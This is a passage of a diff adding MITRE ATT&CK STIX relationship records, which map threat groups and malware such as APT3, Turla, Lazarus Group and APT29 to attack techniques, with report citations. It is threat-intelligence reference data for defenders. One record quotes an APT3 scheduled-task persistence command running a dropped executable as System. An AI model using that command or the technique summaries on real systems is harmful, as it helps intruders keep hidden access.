"intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "Talos Cobalt Group July 2018", + "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html" + }, + { + "source_name": "PTSecurity Cobalt Dec 2016", + "description": "Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.", + "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf" + }, + { + "source_name": "Group IB Cobalt Aug 2017", + "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.", + "url": "https://www.group-ib.com/blog/cobalt" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--0ca1948b-476c-4ff5-a792-f3790250bdc1", + "description": "An [APT3](https://attack.mitre.org/groups/G0022) downloader creates persistence by creating the following scheduled task: schtasks /create /tn \"mysc\" /tr C:\\Users\\Public\\test.exe /sc ONLOGON /ru \"System\".(Citation: FireEye Operation Double Tap)", + "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", + "modified": "2020-03-16T15:36:21.672Z", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.056Z", + "external_references": [ + { + "source_name": "FireEye Operation Double Tap", + "description": "Moran, N., et al. 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Retrieved February 15, 2016.", + "url": "https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html" + }, + { + "url": "https://www.accenture.com/t20180127T003755Z_w_/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf", + "description": "Accenture Security. (2018, January 27). DRAGONFISH DELIVERS NEW FORM OF ELISE MALWARE TARGETING ASEAN DEFENCE MINISTERS\u2019 MEETING AND ASSOCIATES. Retrieved November 14, 2018.", + "source_name": "Accenture Dragonfish Jan 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a8b248fe-a27c-40fd-83d5-f4382035d656", + "description": "[APT3](https://attack.mitre.org/groups/G0022) has a tool that looks for files and directories on the local file system.(Citation: FireEye Clandestine Fox)(Citation: evolution of pirpi)", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "modified": "2019-04-29T18:01:20.276Z", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-01-16T16:13:52.465Z", + "external_references": [ + { + "source_name": "FireEye Clandestine Fox", + "description": "Chen, X., Scott, M., Caselden, D.. (2014, April 26). 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Retrieved September 28, 2017.", + "url": "https://recon.cx/2017/montreal/resources/slides/RECON-MTL-2017-evolution_of_pirpi.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--59223275-a57b-45ca-94b6-5c504165d8f9", + "description": "(Citation: NCC Group APT15 Alive and Strong)", + "target_ref": "tool--2e45723a-31da-4a7e-aaa6-e01998a6788f", + "modified": "2021-03-29T19:54:46.071Z", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", + "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. 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Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ada9885f-276a-4f97-859d-1bb9f73b58c1", + "description": "[Turla](https://attack.mitre.org/groups/G0010) has used PowerShell to execute commands/scripts, in some cases via a custom executable or code from [Empire](https://attack.mitre.org/software/S0363)'s PSInject.(Citation: ESET Turla Mosquito May 2018)(Citation: ESET Turla PowerShell May 2019)(Citation: Symantec Waterbug Jun 2019) [Turla](https://attack.mitre.org/groups/G0010) has also used PowerShell scripts to load and execute malware in memory.", + "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", + "modified": "2019-07-14T21:04:44.769Z", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "ESET Turla Mosquito May 2018", + "description": "ESET Research. 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Retrieved November 21, 2016.", + "source_name": "ESET Sednit Part 2" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7ca1b40d-d1de-48ab-b8ad-023ad9877def", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware WhiskeyAlfa-Three modifies sector 0 of the Master Boot Record (MBR) to ensure that the malware will persist even if a victim machine shuts down.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)", + "target_ref": "attack-pattern--1b7b1806-7746-41a1-a35d-e48dae25ddba", + "modified": "2019-09-09T19:15:44.710Z", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.069Z", + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster Destructive Malware", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. 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(2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.", + "url": "https://www.youtube.com/watch?v=fevGZs0EQu8" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e577372f-c3c9-4e12-9bc6-3f6a1faec0ac", + "description": "(Citation: Scarlet Mimic Jan 2016)", + "target_ref": "malware--bb3c1098-d654-4620-bf40-694386d28921", + "modified": "2019-04-22T15:06:12.729Z", + "source_ref": "intrusion-set--c5574ca0-d5a4-490a-b207-e4658e5fd1d7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.064Z", + "external_references": [ + { + "source_name": "Scarlet Mimic Jan 2016", + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. 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The Black Vine cyberespionage group. Retrieved January 26, 2016.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-black-vine-cyberespionage-group.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f661bda3-d524-44b3-aeb0-d8dd8879a569", + "description": "[APT3](https://attack.mitre.org/groups/G0022) has a tool that can copy files to remote machines.(Citation: FireEye Clandestine Fox)", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "modified": "2019-04-29T18:01:20.287Z", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-01-16T16:13:52.465Z", + "external_references": [ + { + "source_name": "FireEye Clandestine Fox", + "description": "Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2014/04/new-zero-day-exploit-targeting-internet-explorer-versions-9-through-11-identified-in-targeted-attacks.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--95618672-6f7f-4055-9c96-29f75e276d5b", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has sent emails with URLs pointing to malicious documents.(Citation: Talos Cobalt Group July 2018)(Citation: Secureworks GOLD KINGSWOOD September 2018)", + "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7", + "modified": "2021-09-21T14:51:42.148Z", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html", + "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", + "source_name": "Talos Cobalt Group July 2018" + }, + { + "url": "https://www.secureworks.com/blog/cybercriminals-increasingly-trying-to-ensnare-the-big-financial-fish", + "description": "CTU. (2018, September 27). Cybercriminals Increasingly Trying to Ensnare the Big Financial Fish. Retrieved September 20, 2021.", + "source_name": "Secureworks GOLD KINGSWOOD September 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--42ab2855-fe9b-4ed2-bef7-db3a9dcf5a89", + "target_ref": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f", + "modified": "2021-10-14T21:58:19.389Z", + "source_ref": "course-of-action--383caaa3-c46a-4f61-b2e3-653eb132f0e7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2017-05-31T21:33:27.029Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--54d3eadf-0363-47d1-b51d-a16d6a99c42e", + "description": "[APT28](https://attack.mitre.org/groups/G0007) has used COM hijacking for persistence by replacing the legitimate MMDeviceEnumerator object with a payload.(Citation: ESET Sednit Part 1)(Citation: ESET Zebrocy May 2019)", + "target_ref": "attack-pattern--bc0f5e80-91c0-4e04-9fbb-e4e332c85dae", + "modified": "2020-03-20T16:37:05.770Z", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.039Z", + "external_references": [ + { + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf", + "description": "ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.", + "source_name": "ESET Sednit Part 1" + }, + { + "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/", + "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.", + "source_name": "ESET Zebrocy May 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--632e3144-8785-41c4-a937-7e11139b2ae1", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) cleared Windows event logs and other logs produced by tools they used, including system, security, terminal services, remote services, and audit logs. The actors also deleted specific Registry keys.(Citation: US-CERT TA18-074A)(Citation: US-CERT APT Energy Oct 2017)", + "target_ref": "attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2", + "modified": "2020-03-28T20:12:45.077Z", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A", + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "source_name": "US-CERT TA18-074A" + }, + { + "source_name": "US-CERT APT Energy Oct 2017", + "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b6e427c5-ae51-4240-b91e-3c417cc4e1f0", + "description": "[FIN8](https://attack.mitre.org/groups/G0061) has used RAR to compress collected data before exfiltration.(Citation: FireEye Know Your Enemy FIN8 Aug 2016)", + "target_ref": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662", + "modified": "2021-09-15T14:02:09.893Z", + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--17629f20-194c-48cb-aa1c-b3da2b6f06ba", + "description": "[CosmicDuke](https://attack.mitre.org/software/S0050) uses Windows services typically named \"javamtsup\" for persistence.(Citation: F-Secure Cosmicduke)", + "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", + "modified": "2021-07-20T21:57:36.110Z", + "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "source_name": "F-Secure Cosmicduke", + "description": "F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.", + "url": "https://blog.f-secure.com/wp-content/uploads/2019/10/CosmicDuke.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7f78df2e-e6e9-43f1-815b-58e4a10fc594", + "description": "[APT29](https://attack.mitre.org/groups/G0016) has used encoded PowerShell scripts uploaded to [CozyCar](https://attack.mitre.org/software/S0046) installations to download and install [SeaDuke](https://attack.mitre.org/software/S0053). [APT29](https://attack.mitre.org/groups/G0016) also used PowerShell to create new tasks on remote machines, identify configuration settings, evade defenses, exfiltrate data, and to execute other commands.(Citation: Volexity SolarWinds)(Citation: Microsoft Analyzing Solorigate Dec 2020)(Citation: Symantec Seaduke 2015)(Citation: Mandiant No Easy Breach)(Citation: FireEye APT29 Nov 2018)", + "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", + "modified": "2021-05-14T16:43:10.609Z", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.048Z", + "external_references": [ + { + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", + "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.", + "source_name": "Volexity SolarWinds" + }, + { + "url": "https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/", + "description": "MSTIC. (2020, December 18). Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect customers . Retrieved January 5, 2021.", + "source_name": "Microsoft Analyzing Solorigate Dec 2020" + }, + { + "url": "http://www.symantec.com/connect/blogs/forkmeiamfamous-seaduke-latest-weapon-duke-armory", + "description": "Symantec Security Response. (2015, July 13). \u201cForkmeiamfamous\u201d: Seaduke, latest weapon in the Duke armory. Retrieved July 22, 2015.", + "source_name": "Symantec Seaduke 2015" + }, + { + "source_name": "Mandiant No Easy Breach", + "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.", + "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016" + }, + { + "source_name": "FireEye APT29 Nov 2018", + "description": "Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--695a988e-daa3-47d7-bf8d-3539ab992f80", + "description": "(Citation: APT15 Intezer June 2018)", + "target_ref": "malware--e3cedcfe-6515-4348-af65-7f2c4157bf0d", + "modified": "2019-04-22T15:08:48.548Z", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "APT15 Intezer June 2018", + "description": "Rosenberg, J. (2018, June 14). MirageFox: APT15 Resurfaces With New Tools Based On Old Ones. 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(2016, September 12). Smoke Loader \u2013 downloader with a smokescreen still alive. Retrieved March 20, 2018.", + "url": "https://blog.malwarebytes.com/threat-analysis/2016/08/smoke-loader-downloader-with-a-smokescreen-still-alive/" + }, + { + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/07/behavior-monitoring-combined-with-machine-learning-spoils-a-massive-dofoil-coin-mining-campaign/", + "description": "Windows Defender Research. (2018, March 7). Behavior monitoring combined with machine learning spoils a massive Dofoil coin mining campaign. Retrieved March 20, 2018.", + "source_name": "Microsoft Dofoil 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a317b097-b819-441b-b344-9f129ba6cb40", + "description": "[FIN6](https://attack.mitre.org/groups/G0037) used RDP to move laterally in victim networks.(Citation: FireEye FIN6 April 2016)(Citation: FireEye FIN6 Apr 2019)", + "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf", + "modified": "2019-06-28T14:59:17.558Z", + "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.072Z", + "external_references": [ + { + "source_name": "FireEye FIN6 April 2016", + "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf" + }, + { + "source_name": "FireEye FIN6 Apr 2019", + "description": "McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. 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Retrieved November 27, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html" + }, + { + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf", + "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020.", + "source_name": "ESET Dukes October 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8797579b-e3be-4209-a71b-255a4d08243d", + "description": "(Citation: Operation Quantum Entanglement)", + "target_ref": "malware--b42378e0-f147-496f-992a-26a49705395b", + "modified": "2019-03-22T20:10:33.034Z", + "source_ref": "intrusion-set--f3bdec95-3d62-42d9-a840-29630f6cdc1a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.051Z", + "external_references": [ + { + "source_name": "Operation Quantum Entanglement", + "description": "Haq, T., Moran, N., Vashisht, S., Scott, M. (2014, September). OPERATION QUANTUM ENTANGLEMENT. Retrieved November 4, 2015.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7123a6ee-2026-4db8-a983-cbc2932c2a09", + "description": "Some [Backdoor.Oldrea](https://attack.mitre.org/software/S0093) samples use standard Base64 + bzip2, and some use standard Base64 + reverse XOR + RSA-2048 to decrypt data received from C2 servers.(Citation: Symantec Dragonfly)", + "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", + "modified": "2020-03-30T02:06:48.007Z", + "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf", + "description": "Symantec Security Response. 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Retrieved July 17, 2018.", + "source_name": "Unit 42 Kazuar May 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--2174c465-8855-4c92-a683-97eb0eba9f7c", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has given malware the same name as an existing file on the file share server to cause users to unwittingly launch and install the malware on additional systems.(Citation: Secureworks BRONZE BUTLER Oct 2017)", + "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "modified": "2020-03-17T23:33:15.703Z", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-01-16T16:13:52.465Z", + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--396287ea-36d9-4d84-bf22-af559eb20f58", + "target_ref": "attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff", + "modified": "2020-01-30T19:55:39.072Z", + "source_ref": "course-of-action--bcee7b05-89a6-41a5-b7aa-fce4da7ede9e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2017-05-31T21:33:27.025Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c47b3759-8c59-45f7-8ae1-66b49a5359f8", + "description": "[Leafminer](https://attack.mitre.org/groups/G0077) used a tool called Total SMB BruteForcer to perform internal password spraying.(Citation: Symantec Leafminer July 2018)", + "target_ref": "attack-pattern--692074ae-bb62-4a5e-a735-02cb6bde458c", + "modified": "2020-03-24T15:03:43.701Z", + "source_ref": "intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "Symantec Leafminer July 2018", + "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--171380bf-41ff-43da-86fe-c131f5f7b97b", + "description": "Recent versions of [Cherry Picker](https://attack.mitre.org/software/S0107) delete files and registry keys created by the malware.(Citation: Trustwave Cherry Picker)", + "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "modified": "2020-03-16T17:55:26.695Z", + "source_ref": "malware--b2203c59-4089-4ee4-bfe1-28fa25f0dbfe", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://www.trustwave.com/Resources/SpiderLabs-Blog/Shining-the-Spotlight-on-Cherry-Picker-PoS-Malware/", + "description": "Merritt, E.. (2015, November 16). Shining the Spotlight on Cherry Picker PoS Malware. Retrieved April 20, 2016.", + "source_name": "Trustwave Cherry Picker" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e5efa7ca-3e2a-4f08-ac2c-f5f317c9caf7", + "description": "[USBStealer](https://attack.mitre.org/software/S0136) has several commands to delete files associated with the malware from the victim.(Citation: ESET Sednit USBStealer 2014)", + "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "modified": "2020-03-11T17:45:54.032Z", + "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/", + "description": "Calvet, J. (2014, November 11). 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(2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.", + "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--bf8ae26c-c28c-4de7-a3e2-ad1a2851c1c0", + "description": "[CallMe](https://attack.mitre.org/software/S0077) uses AES to encrypt C2 traffic.(Citation: Scarlet Mimic Jan 2016)", + "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", + "modified": "2020-03-20T23:05:02.527Z", + "source_ref": "malware--cb7bcf6f-085f-41db-81ee-4b68481661b5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/", + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "source_name": "Scarlet Mimic Jan 2016" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--061841f1-5814-41e3-94b5-536b8a52d062", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) has targeted victims with spearphishing emails containing malicious Microsoft Word documents.(Citation: McAfee Bankshot)", + "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", + "modified": "2019-09-09T19:15:44.938Z", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "McAfee Bankshot", + "description": 